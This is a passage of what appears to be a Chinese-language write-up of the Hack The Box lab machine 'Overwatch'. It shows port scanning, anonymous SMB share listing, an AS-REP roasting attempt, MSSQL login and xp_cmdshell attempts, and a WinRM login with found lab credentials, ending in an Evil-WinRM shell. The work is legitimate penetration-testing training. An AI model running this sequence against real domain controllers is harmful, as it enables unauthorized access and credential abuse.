┌──(root㉿kaada)-[/home/kali/Desktop] └─# ./rustscan -a 10.129.6.144 -- -sV -sC -T4 -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }//\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- You miss 100% of the ports you don't scan. - RustScan
[~] The config file is expected to be at "/root/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with--ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 10.129.6.144:53 Open 10.129.6.144:88 Open 10.129.6.144:135 Open 10.129.6.144:139 Open 10.129.6.144:445 Open 10.129.6.144:464 Open 10.129.6.144:3268 Open 10.129.6.144:3269 Open 10.129.6.144:3389 Open 10.129.6.144:5985 Open 10.129.6.144:6520 Open 10.129.6.144:9389
Open 10.129.6.144:49664 Open 10.129.6.144:49669 Open 10.129.6.144:57989 Open 10.129.6.144:62662 Open 10.129.6.144:62663 Open 10.129.6.144:65158 Open 10.129.6.144:65177 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sV -sC -T4 -A" on ip 10.129.6.144 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-0301:35-0500 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 01:35 Stats:0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE: Active NSE Script Threads:1 (0 waiting) NSE Timing: About 0.00% done Completed NSE at 01:35, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 01:35 Completed NSE at 01:35, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 01:35 Completed NSE at 01:35, 0.00s elapsed Initiating Ping Scan at 01:35 Scanning 10.129.6.144 [4 ports] Completed Ping Scan at 01:35, 0.11s elapsed (1 total hosts) Initiating SYN Stealth Scan at 01:35 Scanning overwatch.htb (10.129.6.144) [19 ports] Discovered open port 139/tcp on 10.129.6.144 Discovered open port 445/tcp on 10.129.6.144 Discovered open port 464/tcp on 10.129.6.144 Discovered open port 3389/tcp on 10.129.6.144 Discovered open port 135/tcp on 10.129.6.144 Discovered open port 53/tcp on 10.129.6.144 Discovered open port 65177/tcp on 10.129.6.144 Discovered open port 88/tcp on 10.129.6.144 Discovered open port 5985/tcp on 10.129.6.144 Discovered open port 3269/tcp on 10.129.6.144 Discovered open port 49664/tcp on 10.129.6.144 Discovered open port 62662/tcp on 10.129.6.144 Discovered open port 3268/tcp on 10.129.6.144 Discovered open port 49669/tcp on 10.129.6.144 Discovered open port 65158/tcp on 10.129.6.144 Discovered open port 9389/tcp on 10.129.6.144 Discovered open port 6520/tcp on 10.129.6.144 Discovered open port 62663/tcp on 10.129.6.144 Completed SYN Stealth Scan at 01:35, 1.51s elapsed (19 total ports) Initiating Service scan at 01:35 Scanning 18 services on overwatch.htb (10.129.6.144) Completed Service scan at 01:36, 55.73s elapsed (18 services on 1 host) Initiating OS detection (try #1) against overwatch.htb (10.129.6.144) Retrying OS detection (try #2) against overwatch.htb (10.129.6.144) Initiating Traceroute at 01:36 Completed Traceroute at 01:36, 0.15s elapsed Initiating Parallel DNS resolution of 1 host. at 01:36 Completed Parallel DNS resolution of 1 host. at 01:36, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] NSE: Script scanning 10.129.6.144. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 01:36 NSE Timing: About 99.96% done; ETC:01:37 (0:00:00 remaining) Completed NSE at 01:37, 40.08s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 01:37 Completed NSE at 01:37, 3.51s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 01:37 Completed NSE at 01:37, 0.00s elapsed Nmap scan report for overwatch.htb (10.129.6.144) Host is up, received echo-reply ttl 127 (0.13s latency). Scanned at 2026-03-0301:35:45 EST for 106s
PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 (generic dns response: SERVFAIL) 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time:2026-03-0306:35:53Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services |_ssl-date:2026-03-03T06:37:28+00:00; +1s from scanner time. | ssl-cert:Subject: commonName=S200401.overwatch.htb | Issuer: commonName=S200401.overwatch.htb | Public Key type: rsa | Public Key bits:2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before:2025-12-07T15:16:06 | Not valid after:2026-06-08T15:16:06 | MD5:0da8 f9a5 d788 e363 07b1 5f70 6524 ffcb | SHA-1:3287 c62d 44087fbb 403800b3 32fa da67 fb22 14bc | SHA-256: b8ca 73a4 d338 1c57 3558 eec9 d8d1 93815b2d e30e 7945 ff69 0565893584da f28a | -----BEGIN CERTIFICATE----- | MIIC7jCCAdagAwIBAgIQQB+9JS5+iIRHlnVDL5wRazANBgkqhkiG9w0BAQsFADAg | MR4wHAYDVQQDExVTMjAwNDAxLm92ZXJ3YXRjaC5odGIwHhcNMjUxMjA3MTUxNjA2 | WhcNMjYwNjA4MTUxNjA2WjAgMR4wHAYDVQQDExVTMjAwNDAxLm92ZXJ3YXRjaC5o | dGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDmHUjAEelxLdt0uNeO | ah2/XpNZQsIekINBswk9QIsJPsCdFScs60OIcc+kq9JyruEYQ44SGcnAMdRM1Aal | mhhyLcJ0BX1pqcFQASSHbClRBwzW8O+7cZaWrVRV8l616Q9dOBVqtMMe7gK/qfOF | mdE21VNURJ4LcDQ2BUBBjy0MKcCEEImly3cCyKyS7gCHi5VZ6GlShWykPSDq75Ob | eM3S3zrbxogClJDUmfvay9vCRVyn33DW3Bf35dno2aEaYHzg9JMboey/XfgCNxQE | wx7/GVjFxMo4CV3uZuDEPwaKH9S89Ta56Fgg3GcRCXrFqdhTN5Y+OJ2Ej/C4Jg0F | j2wRAgMBAAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDAN | BgkqhkiG9w0BAQsFAAOCAQEAeR1mQymcP9NndxSFRjKvk+J9t0peN+caudPqj0nU | MrlmzV05FyNCo3AiaoLRPBg6f29dqps/H2aJPzA8E3thAdNEgnAisbDWve6Ze1Pc | XD0iUbe/KCIhqeRTpcD57UPjBb45lTcocPDLXlz5X4iFUhEiWqJXwkCnyNM+bgZl | uPzaH52mU+sBikSLQfAppkg5MwRA+sCK8QhivS7BcwkolFrciEpWmlr0bHS0lCiR | xlt1TwWNi2qGwnTfrO1Kag1P/Ky10JP3+X1r/KXb+71R3KwxCW/Bs9w6ZkCcwOLp | 1lI8KPv4qke+B5jnwoDg+7x+0kZL3G2IT4atv6rCfYHooA== |_-----END CERTIFICATE----- | rdp-ntlm-info: | Target_Name: OVERWATCH | NetBIOS_Domain_Name: OVERWATCH | NetBIOS_Computer_Name: S200401 | DNS_Domain_Name: overwatch.htb | DNS_Computer_Name: S200401.overwatch.htb | DNS_Tree_Name: overwatch.htb | Product_Version:10.0.20348 |_ System_Time:2026-03-03T06:36:49+00:00 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 6520/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 202216.00.1000.00; RTM |_ssl-date:2026-03-03T06:37:28+00:00; 0s from scanner time. | ssl-cert:Subject: commonName=SSL_Self_Signed_Fallback | Issuer: commonName=SSL_Self_Signed_Fallback | Public Key type: rsa | Public Key bits:3072 | Signature Algorithm: sha256WithRSAEncryption | Not valid before:2026-03-03T05:48:24 | Not valid after:2056-03-03T05:48:24 | MD5:9fd7 9ca6 befd 1a66 036e 81aa f910 4e27 | SHA-1: ba8c 37eb 8b91 22a9 7756905293995618 a3f3 f366 | SHA-256:5e1e 4cee b679 377750e6 54eb a9ae c118 3382 f647 ffe6 5e0e 095206a3 47a6 9820 | -----BEGIN CERTIFICATE----- | MIIEADCCAmigAwIBAgIQZhR7b0ZyXZBIzMoKQq1N5DANBgkqhkiG9w0BAQsFADA7 | MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA | bABsAGIAYQBjAGswIBcNMjYwMzAzMDU0ODI0WhgPMjA1NjAzMDMwNTQ4MjRaMDsx | OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs | AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBALId/Kc/ | 4V/tqOorxreUsc/U7R5pEZhmLLmAZ9x13StdJkiam3dL0fAfvD3/Gyo6zFhTMIHn | 7O6XoyL3EKcRCrDhrXJN1zfNYNH+Z3dutjrQ5i2LviE7DKua9+IJV7eXRfpRzLG1 | MhXjEeKFSG+hkXtsW3R4eMiEM/ZxEhFX5xt5dX7uLoArAKjk3kq2Rpl2bo4AmQ2O | BNTkHE+TCXpv4DdUUyH1fjNE9xnGIewW3twpkOOPBlZEvEAPo2PVvJKqMqvgGrXI | 44Q5MUltUEGe+ykjqq+VoZjmMOfs4yc6wDHUgz3SutGfh0681X0hO8X9JsKZEiDD | YS4Vu1Doeu4ljW6Ue1QUNx+7+anlGMeyKFhwFRdmyg7pHa57pxPWVYkO0TusN4uy | LjNyH9n0FjrcWmBGAmmZ2cTrqbAyZ6hB1Bma4eOZ3RC9PsNSAD2NQ2jRB+lc7yCZ | d+iTTrXA+S5vR70+emsvb4z58FGNxBWpHKAy/FUeme99PkidkIVf/582HQIDAQAB | MA0GCSqGSIb3DQEBCwUAA4IBgQCwy/6SG9EtvE1cJ+zgqdhJHqbCaAMqaTIV/mJ2 | doy2QOXI5h/Na/MJkn8IGH/zLrfuvUBUGa78Eftf3XWtjy7T+0+BfFoZ3UG/RgAX | iVZb4yQezuZzZqztFBKKgB3EYeshX8lq5r8MTzdpjw/nJEGIZq3vTNWQ0CM4Gxt4 | A6vEnhMa1MqEJiDL/4iWy3q+IOFFUM4eoQJmfaWUW7DPMK3c0mR0ZShXFyLIfCQ+ | jOqcYLb6g1tOCx18fQHNrAqBFOoHAmL9Quq4r6GO6pA7m17BgkevLsdk3x3+tn11 | N9xFFn/WlxXrtSg6h3ehqLjuti3FVzfBzGZw9kM3wt2ATqVG3s5Dvijy/5Xj3b9o | 3/in6PyYiX9NX7uLekTqKGcTw30D6DGBBS9jjiFRurIYAK6DUgIKTu1I8YZfkd9U | AryK+yW/WFDvtl+3AVD7r+3o+xpuxr7ZoNLszcGXAwJpiTpvzDXqd83Zj/abp4Y8 | 1MHmRWjBkJWWdGs6tB8dxh0nom4= |_-----END CERTIFICATE----- | ms-sql-info: | 10.129.6.144:6520: | Version: | name: Microsoft SQL Server 2022 RTM | number:16.00.1000.00 | Product: Microsoft SQL Server 2022 | Service pack level: RTM | Post-SP patches applied:false |_ TCP port:6520 | ms-sql-ntlm-info: | 10.129.6.144:6520: | Target_Name: OVERWATCH | NetBIOS_Domain_Name: OVERWATCH | NetBIOS_Computer_Name: S200401 | DNS_Domain_Name: overwatch.htb | DNS_Computer_Name: S200401.overwatch.htb | DNS_Tree_Name: overwatch.htb |_ Product_Version:10.0.20348 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 57989/tcp filtered unknown no-response 62662/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 62663/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 65158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 65177/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.98%I=7%D=3/3%Time=69A68152%P=x86_64-pc-linux-gnu%r(DNSSt SF:atusRequestTCP,E,"\0\x0c\0\0\x90\x02\0\0\0\0\0\0\0\0"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). TCP/IPfingerprint: SCAN(V=7.98%E=4%D=3/3%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=69A681AB%P=x86_64-pc-linux-gnu) SEQ(SP=FC%GCD=1%ISR=10B%TI=I%II=I%SS=S%TS=A) SEQ(SP=FE%GCD=1%ISR=109%TI=I%II=I%SS=S%TS=A) OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552ST11) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC) ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=N) U1(R=N) IE(R=Y%DFI=N%TG=80%CD=Z)
Uptime guess:0.036 days (since Tue Mar 300:46:002026) Network Distance:2 hops TCP Sequence Prediction: Difficulty=254 (Good luck!) IP ID Sequence Generation: Incremental Service Info:Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
Sharename TypeComment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Defaultshare IPC$ IPC Remote IPC NETLOGON Disk Logon servershare software$ Disk SYSVOL Disk Logon servershare Reconnecting with SMB1 for workgroup listing. do_connect: Connectionto10.129.6.144 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable toconnectwith SMB1 -- no workgroup available
┌──(root㉿kaada)-[/home/kali/Desktop] └─# smbclient -N //10.129.6.144/software$ Try "help" to get a list of possible commands. smb: \> dir . DH 0 Fri May 16 21:27:07 2025 .. DHS 0 Thu Jan 1 01:46:47 2026 Monitoring DH 0 Fri May 16 21:32:43 2025
7147007 blocks of size 4096. 1135048 blocks available smb: \> cd Monitoring\ smb: \Monitoring\> dir . DH 0 Fri May 16 21:32:43 2025 .. DH 0 Fri May 16 21:27:07 2025 EntityFramework.dll AH 4991352 Thu Apr 16 16:38:42 2020 EntityFramework.SqlServer.dll AH 591752 Thu Apr 16 16:38:56 2020 EntityFramework.SqlServer.xml AH 163193 Thu Apr 16 16:38:56 2020 EntityFramework.xml AH 3738289 Thu Apr 16 16:38:40 2020 Microsoft.Management.Infrastructure.dll AH 36864 Mon Jul 17 10:46:10 2017 overwatch.exe AH 9728 Fri May 16 21:19:24 2025 overwatch.exe.config AH 2163 Fri May 16 21:02:30 2025 overwatch.pdb AH 30208 Fri May 16 21:19:24 2025 System.Data.SQLite.dll AH 450232 Sun Sep 29 16:41:18 2024 System.Data.SQLite.EF6.dll AH 206520 Sun Sep 29 16:40:06 2024 System.Data.SQLite.Linq.dll AH 206520 Sun Sep 29 16:40:42 2024 System.Data.SQLite.xml AH 1245480 Sat Sep 28 14:48:00 2024 System.Management.Automation.dll AH 360448 Mon Jul 17 10:46:10 2017 System.Management.Automation.xml AH 7145771 Mon Jul 17 10:46:10 2017 x64 DH 0 Fri May 16 21:32:33 2025 x86 DH 0 Fri May 16 21:32:33 2025
7147007 blocks of size 4096. 1135398 blocks available smb: \Monitoring\>
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc winrm 10.129.6.144 -u "sqlsvc" -p "TI0LKcfHzZw1Vv" WINRM 10.129.6.1445985 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) /usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0. arc4 = algorithms.ARC4(self._key) WINRM 10.129.6.1445985 S200401 [-] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-GetNPUsers -usersfile users.txt -no-pass -dc-ip 10.129.6.144 overwatch.htb/ Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] UserAdministrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGuest doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Usersqlsvc doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usersqlmgmt doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserCharlie.Moss doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserTracy.Burns doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserKathryn.Bryan doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserRachael.Thomas doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserAimee.Smith doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDuncan.Freeman doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserJohn.Begum doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBernard.Hilton doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserKim.Hargreaves doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDouglas.Burrows doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserCarole.Murray doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserOlivia.Quinn doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserTrevor.Baker doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserKenneth.Dennis doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserJeremy.Marshall doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserJodie.Jones doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserThomas.Lee doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserTerence.Matthews doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserColin.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserAaron.Robinson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserAmanda.Jenkins doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDebra.Arnold doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserMichelle.Willis doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserKayleigh.Jones doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserAdam.Russell doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserTracey.Kelly doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBethan.Dale doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserMandy.Wood doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserJenna.Phillips doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserCarole.Yates doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGraham.Perry doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserCatherine.Griffiths doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserShaun.Jackson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBethan.Rogers doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserEllie.Singh doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserMarie.Allan doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserPatrick.Holmes doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserVictor.Hopkins doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGeraldine.Harper doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGeorge.Todd doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserKarl.Smith doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserJacqueline.Norton doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserFrederick.Murray doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserJoe.Pearce doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserPaul.Collins doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDamien.Edwards doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserEileen.Phillips doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserCarl.Johnson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserKevin.Newton doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserNatalie.Higgins doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserFrancis.Weston doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBenjamin.Davison doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserMartin.Kemp doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserAngela.Jones doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGareth.Ahmed doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDeborah.Morgan doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGrace.Taylor doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserRoger.Hughes doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserAlbert.Barrett doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGrace.Curtis doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserMarilyn.Griffiths doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserTracey.Barker doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserSuzanne.Hughes doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserTimothy.Jackson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBeverley.Thompson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserClare.Bartlett doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserIrene.Johnson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBernard.Wood doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserFrank.McCarthy doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserElaine.Page doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserElaine.Walker doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserMohammad.Hill doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGlenn.Field doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDeborah.Martin doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGail.Sullivan doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserMaureen.Kirby doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGeorgina.Chambers doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserPhilip.Harris doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserSamantha.Scott doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserAnn.Hill doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserChloe.Cox doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserJamie.Gough doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserFrederick.Hussain doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDean.Hobbs doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDanielle.Moore doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserTimothy.Smith doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserDeclan.Stone doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserJacob.Wilson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGary.Elliott doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserPeter.Slater doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserLouise.Walton doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBrett.Haynes doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserElliot.Green doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserWendy.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserGraham.Parker doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserAbdul.Stevens doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBrett.Bailey doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserBenjamin.Harrison doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserEmily.Cooper doesn't have UF_DONT_REQUIRE_PREAUTH set [-] UserRoger.Spencer doesn't have UF_DONT_REQUIRE_PREAUTH set
攻击无果,退一步,想到用该组数据库凭据登录数据库。
前面的端口扫描中发现,6520开放mssql服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-mssqlclient overwatch.htb/sqlsvc:"TI0LKcfHzZw1Vv"@10.129.6.144 -port 6520 -windows-auth Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): OldValue: master, NewValue: master [*] ENVCHANGE(LANGUAGE): OldValue: , NewValue: us_english [*] ENVCHANGE(PACKETSIZE): OldValue: 4096, NewValue: 16192 [*] INFO(S200401\SQLEXPRESS): Line1: Changed database context to'master'. [*] INFO(S200401\SQLEXPRESS): Line1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQLServer2022 RTM (16.0.1000) [!] Press help for extra shell commands SQL (OVERWATCH\sqlsvc guest@master)>
尝试开启xp_cmdshell,失败
1 2 3 4 5 6 7
SQL (OVERWATCH\sqlsvc guest@master)> enable_xp_cmdshell ERROR(S200401\SQLEXPRESS): Line105: User does not have permission toperform this action. ERROR(S200401\SQLEXPRESS): Line1: You donot have permission to run the RECONFIGURE statement. ERROR(S200401\SQLEXPRESS): Line62: The configurationoption'xp_cmdshell' does not exist, or it may be an advanced option. ERROR(S200401\SQLEXPRESS): Line1: You donot have permission to run the RECONFIGURE statement. SQL (OVERWATCH\sqlsvc guest@master)>
SQL (OVERWATCH\sqlsvc guest@master)> SELECT * FROM OPENQUERY("SQL07", 'select SYSTEM_USER'); INFO(S200401\SQLEXPRESS): Line1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired". INFO(S200401\SQLEXPRESS): Line1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.". ERROR(MSOLEDBSQL): Line0: Named Pipes Provider: Could notopen a connectiontoSQLServer [64]. SQL (OVERWATCH\sqlsvc guest@master)>
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc winrm 10.129.6.144 -u"sqlmgmt" -p"bIhBbzMMnB82yx" WINRM 10.129.6.1445985 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) /usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0. arc4 = algorithms.ARC4(self._key) WINRM 10.129.6.1445985 S200401 [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\sqlmgmt\Documents> dir *Evil-WinRM* PS C:\Users\sqlmgmt\Documents> cd .. *Evil-WinRM* PS C:\Users\sqlmgmt> cd Desktop *Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> dir
